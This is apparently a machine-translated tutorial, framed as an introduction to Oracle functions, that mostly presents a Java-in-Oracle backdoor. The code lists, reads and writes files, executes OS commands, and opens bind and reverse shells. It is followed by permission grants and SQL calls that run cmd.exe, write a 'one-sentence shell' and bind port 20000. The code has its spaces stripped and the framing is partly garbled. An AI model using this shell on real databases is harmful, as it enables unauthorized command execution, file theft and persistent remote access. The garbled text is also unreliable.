Before giving you a detailed introduction to Oracle functions, let's first understand how to create JAVA objects for Oracle databases, and then introduce Oracle functions in a comprehensive manner, hoping to be useful to you. First of all in the Oracle database to establish JAVA objects, this version of the SQLJ-SHELL can only support positive connections, reverse connections when there is a BUG is not recommended to use, do not know is ORA support JAVA problems or personal ability limited:
- createorreplaceandcompilejavasourcenamedistoas
- importjava.io.*;
- importjava.net.*;
- publicclassISTO{
- //author:kj021320
- //team:I.S.T.O
- publicstaticStringlistFolder(Stringpath){
- Filef=null;
- Stringstr="";
- f=newFile(path);
- String[]ffiles=f.list();
- if(files!=null)
- for(inti=0;i<files.length;i++){
- str+=files[i]+"\r\n";
- }
- returnstr;
- }
- publicstaticStringsaveFile(Stringfilepath,Stringvalue){
- FileOutputStreamfos=null;
- try{
- fos=newFileOutputStream(filepath);
- fos.write(value.getBytes());
- return"OK";
- }catch(Exceptione){
- returne.getMessage();
- }finally{
- if(fos!=null){
- try{fos.close();}catch(Exceptione){}
- }
- }
- }
- publicstaticStringreadFile(Stringpathfile,Stringcode){
- BufferedReaderbr=null;
- Stringvalue="";
- try{
- br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));
- Strings=null;
- while((s=br.readLine())!=null){
- value+=s;
- }
- returnvalue;
- }catch(Exceptione){
- returne.getMessage();
- }finally{
- if(br!=null){try{br.close();}catch(IOExceptione){}}
- }
- }
- publicstaticStringexecFile(Stringfilepath,Stringcode){
- inti=0;
- RuntimeRuntimert=Runtime.getRuntime();
- Stringoutput="";
- InputStreamReaderisr=null;
- char[]bufferC=newchar[1024];
- try{
- Processps=rt.exec(filepath);
- isr=newInputStreamReader(ps.getInputStream(),code);
- while((i=isr.read(bufferC,0,bufferC.length))!=-1){
- output+=newString(bufferC,0,i);
- }
- returnoutput;
- }catch(Exceptione){
- returne.getMessage();
- }finally{
- if(isr!=null)try{isr.close();}catch(IOExceptione){}
- }
- }
- publicstaticStringbindShell(intport){
- ServerSocketss=null;
- Sockets=null;
- try{
- ss=newServerSocket(port);
- s=ss.accept();
- newoptShell(ss,s).start();
-
- return"OK";
- }catch(Exceptione){
- returne.getMessage();
- }
- }
- publicstaticStringreverseShell(Stringhost,intport){
- Sockets=null;
- try{
- s=newSocket(host,port);
- newoptShell(null,s).start();
- return"OK";
- }catch(Exceptione){
- returne.getMessage();
- }
- }
- publicstaticclassoptShellextendsThread{
- OutputStreamos=null;
- InputStreamis=null;
- ServerSocketss;
- Sockets;
- publicoptShell(ServerSocketss,Sockets){
- this.ss=ss;
- this.s=s;
- try{
- this.is=s.getInputStream();
- this.os=s.getOutputStream();
- }catch(Exceptione){
- if(os!=null)try{os.close();}catch(Exceptionex){}
- if(is!=null)try{is.close();}catch(Exceptionex){}
- if(s!=null)try{s.close();}catch(Exceptionex){}
- if(ss!=null)try{ss.close();}catch(Exceptionex){}
- }
- }
- publicvoidrun(){
- BufferedReaderbr=newBufferedReader(newInputStreamReader(is));
- Stringline="";
- Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";
- try{
- //os.write(cmdhelp.getBytes());
- line=br.readLine();
- while(!"exit".equals(line)){
- if(line.length()>3){
- StringBuffersb=newStringBuffer(line.trim());
- Stringcmd=sb.substring(0,4);
- if(cmd.equals("list")){
- os.write("inputyoupath:\r\n".getBytes());
- line=br.readLine();
- os.write(listFolder(line).getBytes());
- }elseif("save".equals(cmd)){
- os.write("inputyoufilepath:\r\n".getBytes());
- line=br.readLine();
- os.write("inputyouvalue:\r\n".getBytes());
- os.write(saveFile(line,br.readLine()).getBytes());
- }elseif("read".equals(cmd)){
- os.write("inputyoufilepath:\r\n".getBytes());
- line=br.readLine();
- os.write("inputyoucodeexamle:GBK\r\n".getBytes());
- os.write(readFile(line,br.readLine()).getBytes());
- }elseif("exec".equals(cmd)){
- os.write("inputyourunfilepath:\r\n".getBytes());
- line=br.readLine();
- os.write("inputyoucodeexamle:GBK\r\n".getBytes());
- os.write(execFile(line,br.readLine()).getBytes());
- }else{
- os.write(cmdhelp.getBytes());
- }
- }else{
- os.write(cmdhelp.getBytes());
- }
- line=br.readLine();
- }
- }catch(Exceptione){
- e.printStackTrace();
- }finally{
- if(os!=null)try{os.close();}catch(Exceptione){}
- if(is!=null)try{is.close();}catch(Exceptione){}
- if(s!=null)try{s.close();}catch(Exceptione){}
- if(ss!=null)try{ss.close();}catch(Exceptione){}
- }
- }
- }
- }
After the above establishment, you need to use the Oracle function to call the JAVA static method:
◆ List Directory Functions
◆ File saving function
◆ File Reading Function
◆ Run file functions
◆ Port binding you can telnet in
After the preceding Oracle Function Conversion operation, you must grant the JAVA access permission.
- Begin
- Dbms_Java.Grant_Permission ('username', 'java. io. filepermission ','<<ALLFILES>>', 'Read, write, execute, delete ');
- Dbms_Java.Grant_Permission ('username', 'java. lang. runtimepermission', '*', 'writefiledescriptor ');
- Dbms_Java.grant_permission ('username', 'java. net. socketpermission', '*: *', 'Accept, connect, listen, resolve ');
- End;
Then you can perform file operations and run the program to enable the network!
The following is the test code:
- SELECT ISTO_LISTFOLDER ('/usr') FROM DUAL
- SELECT ISTO_EXECFILE ('C: \ WINDOWS \ system32 \ cmd.exe/C dir c: \ ', 'gbk') from dual;
- SELECT ISTO_READFILE ('/tmp/1.txt', 'gbk') from dual;
- SELECT ISTO_SAVEFILE ('/tmp/1.txt', 'one-sentence shell') from dual;
- SELECT ISTO_BINDSHELL (20000) FROM DUAL
- Oracle object privileges
- Oracle System privileges
- Common Oracle password verification
- Brief Discussion on Oracle media recovery
- Completely kill the Oracle deadlock Process